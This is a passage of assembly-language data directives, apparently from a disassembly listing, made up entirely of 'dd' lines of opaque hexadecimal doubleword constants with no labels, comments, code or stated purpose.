		dd 0A6035914h, 0C83C10EDh, 0BE4BD1B3h, 263EE89Ch, 0C3B0087Eh
		dd 1F19F53h, 74DDFF22h,	0B0983C92h, 0AD91465h, 96BEE556h
		dd 74147E3Eh, 0D2B77ECFh, 0B3FE29DFh, 8EDA61F1h, 5E79F705h
		dd 0AB362C85h, 84E616F9h, 41902102h, 2A301B36h,	5FC36159h
		dd 0B2BF92EAh, 338F640Eh, 0D2F1C754h, 53078577h, 0EA507C56h
		dd 8780F0B2h, 79705771h, 6585D798h, 0B3E73023h,	9A612E38h
		dd 0C9A7B14Ch, 454C6F48h, 0D406B3E1h, 0A84F88B8h, 85012C2Bh
		dd 2D867479h, 0AFBF70AEh, 0F4DBF35Dh, 0ECB3B3EDh, 7644B20Fh
		dd 0FC8058D7h, 12AA057Bh, 0C534BF6Dh, 0EED8B946h, 5722BBBAh
		dd 3353B294h, 4BB85510h, 0A0387C6Ch, 19297051h,	4D8CCB6Dh
		dd 9534CAFCh, 0ED2F7814h, 0EA476176h, 0D1918F47h, 0A8DBCD5Ah
		dd 7FB3EA73h, 0A9B2D31Ch, 4C68E9C1h, 0BF05C0EFh, 0B3D3D41Ch
		dd 0B3280A64h, 55A05754h, 8E6CE25h, 88397FFh, 4274573Eh
		dd 798B5352h, 587CA57Eh, 0C6FC9C2Bh, 0C3F1792Dh, 0BD2C706Ah
		dd 2C919B7h, 0A269AA0h,	162F9F64h, 0C7801F99h, 53A6201Eh
		dd 0A82D774Eh, 1A04082Ch, 4C73BF7h, 279DB568h, 6BE348B0h
		dd 0FB28B780h, 87E05D25h, 0DEEF3271h, 0B364E7E7h, 129BE2D4h
		dd 0D4CC9785h, 6047885Ah, 0D5201E39h, 0C6486DE3h, 6A3A5A23h
		dd 15C2397Dh, 0C859725Dh, 0F38D0663h, 0B1A16C57h, 0FA1052F0h
		dd 3A3ACF4Eh, 5849EAB7h, 0B4D2E904h, 0BC0ACB9h,	131266FEh
		dd 0CCD5F35h, 3C665441h, 2FDC5BE1h, 0C86AC35Fh,	0ED7DAEFEh
		dd 0AB18DBD4h, 1CB3B520h, 20FED14Fh, 0A4A45D7h,	0EC20DEEh
		dd 57442FE6h, 0E723D80Fh, 0BC1051B3h, 0A29A622Ch, 0D13B6227h
		dd 480E3E32h, 71C0EA87h, 3EFA99C0h, 0EF04A696h,	753B6AEFh
		dd 94DCEE30h, 334AF168h, 0BA54C4BEh, 0C484D10Eh, 934B384Ah
		dd 99BFDE59h, 65A37414h, 0E6596AB0h, 0A9DC6B7Fh, 4F79A8D8h
		dd 864C9290h, 96F89911h, 0CC0D5E5Ch, 9624DCC3h,	55D63C51h
		dd 0E340D200h, 0E0B884B8h, 37FF20CAh, 7B949D1h,	0D7CCFBB4h
		dd 1A72468Ch, 0A83C0E8Eh, 0E65923DDh, 0DC90DC8Bh, 0C82C89FDh
		dd 0BB308889h, 0C885128Fh, 562F55E3h, 9CC1F40Eh, 23C1345Bh
		dd 0DD827BD2h, 0A189E26h, 7ACFD11Eh, 5E8312C0h,	0D9BB89DFh
		dd 0D29464EAh, 7168076Ah, 517EECB1h, 8657C9Bh, 0E1E0343Fh
		dd 0CD2C8005h, 24801952h, 9C00D06h, 0F936B9AFh,	0CE01FE1Dh
		dd 35A78DAAh, 4DE5915Bh, 6C9DFB73h, 8A3BA2A6h, 0E21E2380h
		dd 0AFBA70F0h, 0AFDF594Bh, 0E32DBAB6h, 0E91F155Ch, 0DD96878Eh
		dd 84361158h, 0F86657ADh, 43AE7F22h, 0BBD258F4h, 0D734598Fh
		dd 70ADC006h, 3261F9Dh,	1AA65404h, 324D4CCAh, 0AFD775A4h
		dd 3B6C0417h, 774B2241h, 929B5CE2h, 0ED330AD8h,	88013030h
		dd 0AEECCFD6h, 98BD4ED4h, 0E6469E2Bh, 6FD34103h, 0AE212F66h
		dd 82F9ACF9h, 2BA49DFh,	96236075h, 0E8F76B6Bh, 0B88F84B4h
		dd 0D5CB1229h, 6B581C49h, 17DC12D5h, 8AC47904h,	7358F751h
		dd 1809552Fh, 8F62086h,	2D013552h, 84CDDA93h, 0C565D64Bh
		dd 6F2F60E0h, 13082CCh,	9A487403h, 3DED76BAh, 0F3BDA7Dh
		dd 5580AABEh, 317BC829h, 66A287D6h, 4D6E2BC3h, 11ED38DBh
		dd 0C31DDD91h, 0DB674317h, 23005B0h, 111E2402h,	6A9D7B15h
		dd 2A51227Ch, 2C9D6C9Ch, 0A4E332B4h, 0F5B20E51h, 0A5075779h
		dd 2F0981F1h, 6AA7D3E9h, 13F906Dh, 8CF7EBBDh, 8F06B0ECh
		dd 0C6FD6B1Ch, 0F0F9FE86h, 0A270C9E6h, 0A7B899A4h, 7665D626h
		dd 1690B969h, 0D2FDD386h, 0B90F00B1h, 567B88B9h, 6D452E05h
		dd 60B78325h, 5419FAD2h, 58A49EC8h, 6A5B0AE1h, 0C214CAB0h
		dd 72405346h, 7B8B3B1Dh, 0D664BE0Fh, 0D654C8EDh, 0C1F2A74Bh
		dd 0CE33498Eh, 0D9043477h, 0F1399B7Eh, 759C0975h, 45E0EE6Eh
		dd 0D2DBB21Bh, 16D297AFh, 7DD0BA69h, 0E3FF0374h, 2C70A471h
		dd 0AC0892B1h, 5CF0B9A3h, 322C7BA9h, 0BA3304D8h, 0D3347A3Bh
		dd 6D233814h, 2398987Bh, 85D3FC5Bh, 0CAEE97DCh,	81BCD255h
		dd 0C92B9DB7h, 4CEC7427h, 0F887D1DBh, 0F9EBFACEh, 0B304A53Ch
		dd 69DE3A29h, 11F31616h, 0BAC6BF55h, 9BFDACACh,	0D2D5B597h
		dd 23BC1325h, 0FF56FC58h, 0ED6ADEEAh, 0EE92A423h, 3A021D2h
		dd 0D5750B6Bh, 0EE2E86C8h, 1B73D591h, 7BF2D7FEh, 0FDEC4Dh
		dd 4BBF99CDh, 6169E5D6h, 3C0A4E62h, 763FDC02h, 0ABBBA7A2h
		dd 89C1ABEFh, 1BB4081Eh, 710C958h, 77277C9Ah, 0F54E660Fh
		dd 0FD7B5C78h, 9157728Eh, 0C641B909h, 99E9FD40h, 6BF02F69h
		dd 0C1B845C9h, 0E82A4067h, 9371B5DFh, 45FD93CFh, 28572965h
		dd 0C5C40C67h, 93FF97E1h, 0A921DE38h, 9FB3834Ch, 98E2A658h
		dd 96854B19h, 0FD892ACBh, 51984470h, 70A1E51Ah,	9CC00F8Bh
		dd 46B90A0Dh, 8FB9F473h, 94471B18h, 0B6495953h,	0A07E7BBFh
		dd 0B1D6242Ch, 756EB38Bh, 0D7CE38A3h, 0C07F2D12h, 0F896ED96h
		dd 0B17E9002h, 67408FB1h, 99D1C8D3h, 77F02A97h,	0FD0731C8h
		dd 2CE6276Bh, 4E6F757Bh, 2A3A7551h, 847C94D1h, 81E66778h
		dd 3F39D73Ah, 4BD643AFh, 0C2FEF562h, 0B9AA6498h, 7A85A299h
		dd 48241BC2h, 1B4CC188h, 43E97411h, 0D56FF093h,	119CE244h
		dd 953BDCE4h, 0E33BA557h, 3A2F679h, 226B1039h, 0F6F1C16Ch
		dd 0C2473C3Fh, 0DC6553A5h, 0B80C7FC4h, 749FF2Bh, 0A9503FDFh
		dd 0DF497362h, 0CDEBF980h, 5AD03B0Bh, 0CB3A9BA1h, 54586E37h
		dd 0E88F67E5h, 36B8959h, 0D05B94D6h, 72380606h,	0AD5DB450h
		dd 0C10B47A5h, 0F6E5E22Dh
		dd 0C93C5509h, 0EE45A7FAh, 77398BD3h, 3912E221h, 14215E47h
		dd 0AC367D55h, 2FCC7C2Ah, 9F2491EAh, 0CF4F2708h, 0E913EF57h
		dd 5763F914h, 8E31B2Eh,	5405866Ah, 1EF0195Ch, 804372C2h
		dd 3030F02Eh, 1FE4F416h, 1D67D627h, 0D5D5C283h,	0C76E30D8h
		dd 8F9B9225h, 580B4E74h, 9CE8D20Dh, 68A477C7h, 0FC0C49B7h
		dd 7D45412Eh, 0D3C074ADh, 0BE10887Bh, 0D91F7E86h, 88B8BE1Dh
		dd 2E63C25h, 84E38BB9h,	0CCAAAFD8h, 0BD278065h,	4FBFBB88h
		dd 289695F0h, 0B1125134h, 183FF84Ah, 29AC5024h,	586317E0h
		dd 536D4323h, 4A79B8FFh, 276F9BBCh, 0D4378632h,	6468D353h
		dd 5412BBAAh, 0BCC8DD67h, 0E2EAFA6Eh, 0BA44BDAAh, 3B2A59FBh
		dd 5986A6FEh, 2EC634D2h, 896BD00Bh, 0E718006Ah,	0FAB84D15h
		dd 0C9C366CAh, 3548EECBh, 0A9D09245h, 70E76B58h, 28EDECA9h
		dd 0B090BE98h, 54605D57h, 0E164010Ch, 0FF9941E1h, 1A38AB1Ch
		dd 9445EC53h, 71F1AB0Ah, 4EC72497h, 2B410703h, 0E92D9D69h
		dd 0CC65DDD2h, 36F0B21Ah, 0BBC367EEh, 0ECB21D1Dh, 0EAE6670Ch
		dd 46A6AB9Dh, 0D9EB0D57h, 0CB794AADh, 0FAB81995h, 0B8190F5Eh
		dd 872F2738h, 4ACC84F7h, 0DAEB9387h, 0C3087CC8h, 527EBAE7h
		dd 0CD13D45Fh, 9C34012Fh, 4411FED9h, 0BE48637Eh, 8008354Dh
		dd 61EC1CF0h, 0FE7C6A7Eh, 0CDB900ECh, 39E67E58h, 2109838Fh
		dd 0E4148C49h, 4B51F0C0h, 0AF13D5CCh, 0D70B4D5Eh, 36512A5Ah
		dd 703B7253h, 131ED21Ah, 0F6F5FDDh, 134C8F2Eh, 0D8DE8685h
		dd 0A3D439CAh, 0C0766F6h, 95750ADDh, 0FD1D0E3Bh, 0B68658E4h
		dd 0C33E1CABh, 0E58E89EEh, 8FDEDCB3h, 0B46FBBE0h, 0F9633704h
		dd 3DE15374h, 5539FC1h,	24B05FE6h, 46F661D9h, 0FBF36773h
		dd 4EC461DDh, 0EA384447h, 86CEBF1Eh, 8BC16A99h,	17B6D486h
		dd 0D01BA167h, 97A2EB29h, 62662D66h, 89AE120h, 227606DEh
		dd 0E2339BBCh, 0D25D848Eh, 9F868C2Bh, 0C680ABA0h, 0F29F5307h
		dd 0DD6AAF7Bh, 9FE775B0h, 0C62B3431h, 28D70FEEh, 680C2055h
		dd 8C7D2B0Ch, 9CA2F57Ah, 79AF0C83h, 0D6CFA02Dh,	6FC587CCh
		dd 0A00BCE66h, 0DD3B3301h, 5E5F5BBAh, 99F01F12h, 9DFBADAFh
		dd 0E919E063h, 0E41D4641h, 0E9B6E5D9h, 7BA70F3Ch, 855A9190h
		dd 8966C42Ch, 447A4D43h, 36A16B99h, 3524E65Fh, 3C9D955Ch
		dd 0A2628A3Bh, 0C0C546BCh, 2D5FEB81h, 0DF1B1CCAh, 162C713Ah
		dd 7808A867h, 0E471CFBAh, 84B84468h, 8C4AF169h,	86B90BF0h
		dd 3CFE6359h, 549FD577h, 0A5330788h, 0A7D4E2DCh, 59AD33C8h
		dd 787B29D2h, 0F85DE753h, 16B4876Dh, 0FDE798D6h, 211A5A0Ch
		dd 3CFCD80Bh, 0BB75D54Bh, 6C68EDA2h, 1115D683h,	0DB57F7F3h
		dd 0C00EE78Fh, 0FF02EA6h, 0AFF1AB2Eh, 69CE3E92h, 0F26D3A07h
		dd 0C6715C92h, 0AA14DAF4h, 0CDE00225h, 0B53CBF51h, 0FBF9C03Fh
		dd 0EF3541EBh, 0AF4982E8h, 8EDF471h, 47AB3C89h,	0E1B774DCh
		dd 5388E249h, 0A1F41CA0h, 78963C27h, 0B5C9C2EFh, 330A346Fh
		dd 0E30EA5A0h, 4F808FB0h, 7438880Ah, 0A636EAECh, 12A2017Ah
		dd 0F93A57DDh, 2EF20210h, 0F0C26CFDh, 1C3BD67Bh, 0C708F3FAh
		dd 753AF595h, 4119432Bh, 6BBC1FA7h, 1F258293h, 0C0A7794Ah
		dd 7A9E7244h, 17C2CE4h,	9E7E6E1Ah, 900E3C26h, 0C257267Eh
		dd 0E4AB8741h, 148E8227h, 0E7F1240h, 0A27FF872h, 25BC0310h
		dd 4A6874DEh, 3DF13CDAh, 8131A97Ch, 648609E9h, 9DD6A79Eh
		dd 5E3D125Bh, 0A9E45E0Fh, 31D25F38h, 0E2058057h, 835DBB40h
		dd 12B1E99Fh, 3EC3121Dh, 7CB277Dh, 1BD76DB6h, 0C3653AF4h
		dd 9400F21Ah, 0AEAC1BB4h, 0E4919BADh, 9F6A9CFCh, 798A229Ah
		dd 9D40AC7Fh, 0C88BED0Eh, 0E2EA9749h, 0BE90D6Ch, 0A84684EFh
		dd 86458503h, 0BA1BA2E1h, 0C648E1B9h, 0FE08BE19h, 25D99B12h
		dd 82D0CD94h, 0B2E7E7E0h, 0DC06DDBDh, 161F4E5Fh, 0F53D5693h
		dd 15B734B7h, 5F809E7h,	99A81B3Fh, 1CD5441h, 0EAC454A2h
		dd 0F29CC847h, 0BAF7D377h, 9D1DDB58h, 2419383Ch, 0B2308E56h
		dd 0A14ADB76h, 744FBC07h, 0EA35D3ECh, 0DE50D876h, 7B9765C5h
		dd 0B210F47Ah, 0B3894AD5h, 0DA16B009h, 4229EC7Bh, 12145416h
		dd 0F37F948Dh, 485C560Ch, 2C79BBA1h, 0D91D3664h, 0FFE4F6E4h
		dd 4B5ACE74h, 0F51FD84Ch, 0E8C65BBh, 21463988h,	6969B936h
		dd 6E75C281h, 0F19325D6h, 366E2AA4h, 96B4DCA4h,	0C629D44Ch
		dd 0E119DE54h, 580D57B5h, 88B60734h, 28C61DC8h,	0D1CEAE6Fh
		dd 7DAF2D90h, 0FB645825h, 63FADAECh, 8F4702A8h,	0FF6CCD5Bh
		dd 0F0876CEAh, 586BEBCDh, 0F0D6A310h, 0E41247DBh, 532455CCh
		dd 5FA7CA13h, 9B1E443Fh, 4418E39Dh, 224DA8C1h, 0A66B1983h
		dd 0B40F5C9Eh, 8DF50F6Ch, 491A19Dh, 4DBF5F3Eh, 0BD974AC9h
		dd 0F479DFF4h, 1ACAF1F9h, 5522C7C8h, 0BDCA99A3h, 0E5862B6Dh
		dd 1E8A55A8h, 0C1D383BFh, 6547B1DAh, 0B3FD7510h, 7659F204h
		dd 29F8903Dh, 67094A78h, 0EC58FE0Ch, 3E279807h,	6EEBA1E3h
		dd 5F468095h, 253CB001h, 0B91D9A43h, 0D72B95BCh, 0FD7CA128h
		dd 655857C6h, 58602875h, 7649306Fh, 3B3FDFD7h, 0BEDDEB81h
		dd 0CC12A6CCh, 85854294h, 5E088AB0h, 0E254D8C8h, 0A037F135h
		dd 34DA00D0h, 517FF252h, 65078B6Eh, 0A5F52982h,	0ADC011h
		dd 617D1249h, 0F6A1C073h, 5B887770h, 0B025537Ah, 7987CCD7h
		dd 0BCE2DF5Eh, 0D3F5109Dh, 4820168Bh, 173A5A8Bh, 0E87901A5h
		dd 0A33674h, 0F1E658CAh, 827D6741h, 0C5A169h, 6D814D7Fh
		dd 8F971428h, 529CEBEDh, 0D6716B0Ah, 303A93Dh, 0C762128h
		dd 7DBE7393h, 0D517EF7Ah, 7D771C07h, 817A0DA8h,	8D443B7Ch
		dd 4003558Dh, 0AAB73DFEh, 0BA48BB1Ah, 1BD7174Fh, 4D91952Ah
		dd 799E3009h, 8899675Dh, 76C3799h, 0CCC55118h, 91EF3492h
		dd 0EF7A5A03h, 0D4D65B5Dh, 402B608Fh, 0BBDC5EEh, 4685B67Ah
		dd 6C07AE66h, 0F086D1ECh, 5B5F9C73h, 3379F164h,	60F0C10Fh
		dd 4756A5DFh, 0DA08DD8Eh, 0D32265Ch, 30C6E228h,	964586C4h
		dd 6B90B332h, 0BDA1243Ch, 0B837DDBDh, 1DE323B3h, 45C06C1Ah
		dd 89549503h, 0BFD30274h, 8CD33D91h, 0DC5E130h,	32141265h
		dd 3A07C327h, 0BFDD06FAh, 0DD3ADE76h, 0D3CBFC3Ah, 6B63711Bh
		dd 722B15C5h, 4555C590h, 721F478Dh, 7E76A4C8h, 0D4694C26h
		dd 7AC862FCh, 1858A722h, 9C1823C3h, 0C4EC981Fh,	82D354FDh
		dd 0D835CA99h, 0A96FE10Dh, 4A78735Eh, 0FE0E56E1h, 6D48A26Dh
		dd 0E436FB5Eh, 0C7DA12Eh, 0D337FCCEh, 0E293E94h, 0AE83B9FCh
		dd 5FD9ED1Bh, 2E177BBEh, 5B854B17h, 2DE7409Bh, 0D9395810h
		dd 3B5584C8h, 0D93600BBh, 9E9EDB87h, 0A0D11379h, 8236CEh
		dd 0B6070F9h, 0EAE48CB8h, 0CB5D10FCh, 25881BFEh, 5B670F5Bh
		dd 1A3E5D9Ah, 0FCAD7B17h, 0FBED7748h, 0C9DCA50h, 0F023233Ch
		dd 5D10FC34h, 159B8D1Ch, 2CCC75B2h, 3A883D65h, 0F3993673h
		dd 0A6268ED8h, 2D160C5Fh, 500084F8h, 0D2E6D49h,	42AD24B8h
		dd 0F50A2B80h, 3B6E8900h, 7521CB9Bh, 8B2FE2Eh, 0B34DB6D6h
		dd 701899BBh, 77014B73h, 7A995CAAh, 0D21FB027h,	0CCF00291h
		dd 942682EEh, 3B6BEBB3h, 0C3B174D1h, 0D38E6CC0h, 5D4C4404h
		dd 0BD2E21Ch, 0AB6ECADBh, 0C3CC8EF4h, 1906BCA6h, 455A5587h
		dd 0BE1BA261h, 0C3206EC9h, 18965D0Eh, 5F94E0A0h, 0BE4BF44Ch
		dd 2C672075h, 0A8184883h, 38E409EBh, 0A4391BDDh, 0BC266201h
		dd 0D3247997h, 8ABCFEB5h, 40105F4Ah, 0BB7363C2h, 4C0CE31h
		dd 0E5C4967Fh, 0BBE2D27Dh
		dd 0E9F3071Ah, 0C3E1C498h, 5260C29Ah, 4A56CD4Ch, 9DA71A3Fh
		dd 0AF0362F7h, 0FEFBA650h, 0E2F66156h, 0A72233ECh, 0D6B2B214h
		dd 0FD67AD23h, 241315D4h, 0E4AC6169h, 0C33D63DFh, 5D20D508h
		dd 0AECF464Dh, 0E6A8E1D5h, 0A07E2AFAh, 698EB861h, 67BAE88Fh
		dd 0A57E2348h, 54FAF8E4h, 0D63F5CA9h, 0A112ADEBh, 4E7F3A17h
		dd 0DC3CFEADh, 317BA684h, 7F7CBD8Fh, 0E0F4ADD1h, 481B9091h
		dd 19515E29h, 4AB13B46h, 11E4C33Fh, 36C4623Ah, 7E8EE1E7h
		dd 0DACB9198h, 7F3FE954h, 0EACC22A4h, 705CFAB4h, 6D8A81D9h
		dd 0DEDA34D3h, 0D109E9ABh, 4BE285A2h, 88E1CD05h, 10A9B32Ah
		dd 83C99016h, 2761EC65h, 0FC92FE12h, 9074EDF1h,	641467F3h
		dd 0A3FAA030h, 939901EBh, 0A575B66Dh, 4423C187h, 9CF8888Dh
		dd 0D5DDF57Dh, 0CCD68071h, 713C214Dh, 0FD1BB189h, 0ACD00BB7h
		dd 0ECFBE467h, 8C915E5Bh, 0FF9EAF07h, 0A0F8A5CEh, 0E817BAF8h
		dd 7C58FA2Dh, 0CF24AA45h, 34054CE4h, 6F26C692h,	0CDDD8F6Dh
		dd 43D9F2D9h, 96674D5Ch, 0FB974136h, 0A56FC2A7h, 6AB21FE2h
		dd 0EBA5801Ah, 8BA826DEh, 0C2EE85C4h, 0EF7E7B67h, 66629B8Ah
		dd 0BD471028h, 174D42DCh, 0B7CA9E0Bh, 77A7D0Ah,	3A5244CAh
		dd 91483C14h, 0BF13FAFFh, 4897B8CAh, 48C12114h,	0FB7437Dh
		dd 0E83D270h, 9AA3579Eh, 0C6D67227h, 0CE5145D8h, 0FABFFEC0h
		dd 0AC92E52Ah, 79A1B118h, 0D7693EAFh, 254BAF7Ch, 0E6C4DDF0h
		dd 1AF4E0A6h, 5A9F2A6Ch, 0AE94C796h, 443102B1h,	0B429B4BAh
		dd 0AA7BDC3Dh, 70D2E566h, 0EB07D599h, 9CE01A7Bh, 9D5A28CBh
		dd 2198726Ch, 0C69788CFh, 5A7C6D87h, 86653647h,	0B2CC7D8Eh
		dd 423454C5h, 0CE4E2A79h, 772C7074h, 0AC00F2D6h, 10FED665h
		dd 81CE402Dh, 0DF5A6ACAh, 23E896FCh, 986F6E43h,	92AA8261h
		dd 2841AC51h, 0D4B52BD4h, 0A436BA58h, 5BA196Bh,	0E2BC560Ah
		dd 0F0246EBh, 2018A727h, 75A41A67h, 89AD4114h, 52B1D43Ah
		dd 8459725Dh, 66FD0F08h, 28A8031Eh, 1AA052B8h, 8FDDC965h
		dd 92AAC72h, 4B8D6DA3h,	0D38021F8h, 0D932DF5Ah,	4A63B9FAh
		dd 3B2EECF3h, 9F18A0D0h, 1A9D94E2h, 0CB2CCB5Bh,	6FA78BEEh
		dd 2BFB340h, 6C99D0E4h,	0AA5479BBh, 0A33DAE5h, 9696036Ch
		dd 0B78202Fh, 0B3F4F16Bh, 9598ACA5h, 0A2A87F74h, 3B74D8FDh
		dd 0A242F68Fh, 37667969h, 98A70F8h, 50D0D63Fh, 0F80EF399h
		dd 2F5DBE5Ch, 76C2B5E2h, 9F56C34Eh, 1ACC61D6h, 0AD039143h
		dd 72A65DCEh, 0DC081Ah,	0BF3A50FEh, 5CF7E350h, 0ABA7F3AEh
		dd 0CED45399h, 91191E7Eh, 0A5197ECDh, 81354ED2h, 0B6138A11h
		dd 9D2B1FD1h, 551E324Fh, 9A9BCF15h, 0BBC5DBEDh,	7F3C1FB7h
		dd 0DE135F48h, 892DF027h, 0DC993F83h, 0A8DA76B5h, 0FFC52B73h
		dd 0E037443Eh, 0F0053E7h, 5F3A9EFBh, 0EEF23A88h, 7DCCBDDEh
		dd 3A5093DCh, 51A7A35Bh, 3CFA3F8Ch, 3381A530h, 447DF5A5h
		dd 0F5E288F7h, 1F0474C8h, 0B6A39AC3h, 37A54E37h, 0D06595EDh
		dd 91E4D830h, 0C79447FCh, 829A6DC7h, 0F0D6D181h, 0EA16058Dh
		dd 2911C3E0h, 6DEE10F7h, 647758CBh, 75BBE573h, 8B52269Ah
		dd 0F7C7E3C3h, 0B77D4C67h, 9C94D05h, 0DBE938FAh, 6613BAF8h
		dd 2FDEF1AFh, 3874509Ch, 0B5E2BBDAh, 491F105Ah,	8303ADDEh
		dd 177C1E02h, 0F0704474h, 0F6DA2E0Ah, 6F13D608h, 0F37CCEDEh
		dd 62546908h, 1176113Bh, 0D1F8F207h, 3DC1E12Bh,	6F4B4E53h
		dd 62315FA9h, 0EE7DF654h, 39685794h, 51C1ECC0h,	0C9778502h
		dd 9A34C4FEh, 72EF670Ah, 313C341Bh, 4B5079DAh, 0E307605Bh
		dd 0F9E07B27h, 0B81732CEh, 6A1293Fh, 961F4B40h,	688F8E2Dh
		dd 38066Bh, 0FF92320Eh,	0C3010276h, 81A02CABh, 25175244h
		dd 0E5A032EAh, 7B930962h, 1D0EF181h, 352DAF66h,	1030DA18h
		dd 7E945E36h, 0FF32D583h, 11747A1h, 5CC5604Dh, 0C376F0E9h
		dd 10F375F4h, 0C0E03B6Bh, 0A32DEF46h, 0C0F37AA7h, 0FC14844Ch
		dd 7929AC88h, 5BCEB80Fh, 6EA427EDh, 5D21B799h, 52EE895Dh
		dd 0D6D9D264h, 9A0BB0B9h, 581D3E3Bh, 1D52561Eh,	0A1233E86h
		dd 92E003BCh, 6E0377F0h, 0A7EC319Bh, 5234886Ah,	2FDA46DAh
		dd 4F512AFFh, 0DF334C8Bh, 5C79B80Dh, 68796AEEh,	606BFA31h
		dd 0CD979B94h, 0ABEDBF68h, 82940AD0h, 0BFA97C79h, 0AF97F6BAh
		dd 0CDF49159h, 0A13595E6h, 170C9C47h, 58267h, 6C1EA029h
		dd 0A1A0E145h, 0F2BCF8C1h, 0DE338D29h, 8C9EFD54h, 95470F74h
		dd 4AEC0139h, 21654AC9h, 75E21C9Eh, 4DD4616Ah, 78E6035h
		dd 9AFAD5C2h, 309DF74Eh, 7AA9DA3Dh, 8932B693h, 0B9317318h
		dd 51ECB9F0h, 0CA1BB5A1h, 0AEBE1068h, 1EEA5627h, 0CC81595Ah
		dd 0E492ED37h, 4759E3E7h, 0AD21C7B6h, 9B11229h,	21598716h
		dd 0AB0751BCh, 21C22783h, 0E17429F8h, 0DC8EEB9h, 0BBEAE5ACh
		dd 704C16A1h, 538C976h,	2E64F2CDh, 3A1719BCh, 0A5A29E06h
		dd 7102541Fh, 9DAEB8DDh, 25C31512h, 90218BFAh, 0D317A021h
		dd 0E4BC2973h, 606020DBh, 0C2A9102Dh, 0B59C4F11h, 46F6E512h
		dd 9B4507B1h, 0D53AAFD0h, 14FA5069h, 0F762017Fh, 9B46535h
		dd 0DB1AA15Ch, 0ABA825A6h, 72E3EF83h, 0B69ED63Eh, 9BADB210h
		dd 0A5CD209Ch, 760B4F0Dh, 7ECB620Ch, 904DE807h,	0A52E73Dh
		dd 764EF7A2h, 8629C754h, 58A6ACC2h, 247D232Fh, 8AD7D9C0h
		dd 0E06B87F4h, 0DE045F68h, 0CFF39C14h, 91E8AC1Fh, 3D4807C8h
		dd 8E4BFC36h, 367C8781h, 35C80783h, 277854E0h, 3FDB62Ah
		dd 0AD65B09Ah, 0C9205BF8h, 9C513C80h, 0F734E3D1h, 86524C96h
		dd 0C1855732h, 8160D91Dh, 0D77CC390h, 2225B830h, 9C9B183Fh
		dd 0E6A5EE96h, 4566CAC4h, 491AE8C4h, 9B4E8696h,	4FFB1339h
		dd 162437D8h, 4CB0C67Eh, 1B7A61BFh, 0AC7A7748h,	47C212CEh
		dd 915C110Ch, 6B2D0DDEh, 0E93F9C9Eh, 5F20C082h,	0AC0F9810h
		dd 6518F4EBh, 0E445821Dh, 50B799E4h, 53D45EE0h,	19B8D0EBh
		dd 0B66EB62Ah, 0D3BEFC07h, 3F7F92F9h, 0FCC19570h, 0D6D6137Bh
		dd 0FF925BCDh, 621755ACh, 0CC9A6F49h, 877F8DC2h, 36D227EAh
		dd 6C55D5DFh, 65C3EC76h, 3D6910FCh, 74CB291Bh, 0A0802A58h
		dd 13FC6034h, 0E64369BAh, 22A48B50h, 7D99651Bh,	16E1E4BAh
		dd 29DC21E4h, 19EA97CCh, 0AF7ECB76h, 4DBEF73h, 32568FFh
		dd 9D37554h, 0A20A1213h, 0A991AC32h, 0A2F2E991h, 0C8B4DD2Ah
		dd 0FAD74581h, 0DA5862A6h, 627120Ah, 0EB4AA1CDh, 7FEA451h
		dd 71A946D8h, 48BC7685h, 90C34C7Bh, 0D7911FBEh,	979E6EC6h
		dd 9E2BD96Fh, 0FBA92003h, 0C66285BAh, 23973FDDh, 61A4AAA1h
		dd 32F85A0Ah, 7D7A3A4Dh, 82761A3Eh, 7F6B3D27h, 7420101Bh
		dd 0C7137B9Eh, 0F4E38A1Eh, 0F814A37Fh, 41A9182Dh, 0E3F69C1h
		dd 8C1D1Eh, 369BAB6Ch, 0A04D0FC4h, 65C5050Bh, 10A01796h
		dd 3E4E98E0h, 10FEEFB6h, 86A4A399h, 0CA90D991h,	0D5F1A1D1h
		dd 1AF7B7C6h, 6DFC7AD3h, 59F10A57h, 0CD2B8DD4h,	7388BECBh
		dd 96B4C177h, 0CC4CB1ADh, 0F969470Eh, 0C84E3EF5h, 13A29C52h
		dd 0D3094D91h, 68045647h, 0C88C7AF1h, 0F4322F95h, 0CF71DA55h
		dd 0DCDCD55h, 0D14AA229h, 823ADB22h, 0E0A0BD0h,	5F6CB993h
		dd 0C8128BD7h, 0E70222C2h, 5367EDA1h, 0B250A4B9h, 5458C550h
		dd 0B645B1h, 41B405CEh,	0F66AE64Fh, 42963A99h, 6D86B6C9h
		dd 87878DAh, 1EFD700Dh,	25219ED2h, 4CF4350Ah, 870F7FE7h
		dd 0DBA825B3h, 448F1DD0h, 0AEF83D9Dh, 112561A4h, 231E7CEDh
		dd 0EBA240E0h, 0F1E4D72Eh
		dd 0A6F2B086h, 7E28A94Fh, 5F47B9CEh, 8D9FA3B0h,	75654E36h
		dd 0D5B62FB2h, 975325D1h, 56258E5Dh, 52CD3804h,	0DBDEF375h
		dd 35DE11FEh, 102C3E9Eh, 37D9D10h, 3511E5F2h, 1A2ACC9Dh
		dd 0BF7A2B69h, 7F49A8CBh, 0F2BEDD3Fh, 0FEBEBF2h, 833EFA37h
		dd 8696B0Bh, 0A257AA9Fh, 0A22643E8h, 5211DBFAh,	0C33AC86Eh
		dd 713BE384h, 0FE2B8B9Bh, 4E546E79h, 0D051B4FDh, 0A8ECF5F4h
		dd 9DFEC578h, 0ED4AB589h, 0D96C9ACEh, 6986C2F1h, 339AA7F9h
		dd 8BF48B84h, 0DCA53166h, 788DF7Dh, 107F6FECh, 0C89A405h
		dd 0BB8C77E6h, 700B4067h, 0F8DF2391h, 5528B428h, 30E2EE08h
		dd 7BCBEAAFh, 0B56373BFh, 149449B5h, 45E25790h,	0F0353A40h
		dd 0E2293807h, 583AAB90h, 0DCC67E7Ah, 0F6A98E76h, 3864DD37h
		dd 57FD91A6h, 0BDE0C1DBh, 1F282754h, 505371B1h,	96DC2256h
		dd 1B25ECFAh, 3A4AD45Bh, 0C6B81668h, 0DDA22A06h, 380C692Ah
		dd 2D4E00A7h, 0DC97AB12h, 78991C7Ch, 0E5BCD131h, 923D5DABh
		dd 68D9D4ECh, 0E8F90800h, 6106A82h, 80F9A02h, 354D5006h
		dd 7B6EC100h, 4FE9DE9Ch, 47893777h, 9D1D862Dh, 0DC0B0467h
		dd 97B58F3Eh, 4ACBAA5Ch, 301B5620h, 0FF90CC99h,	82E18BC5h
		dd 0B66F1811h, 594E0425h, 0E36FA113h, 3A4EA878h, 63F18ABh
		dd 5307F158h, 0FC6E8B5h, 8A734F2Dh, 0E8DEA683h,	0B3A7ECC9h
		dd 0A002960Fh, 2D0A994Fh, 5A221BB3h, 5B9D2E42h,	0A41156DDh
		dd 371A0F7Ch, 0FCDB2B1Ch, 10ADB09Ah, 5F06187Bh,	7E7886F4h
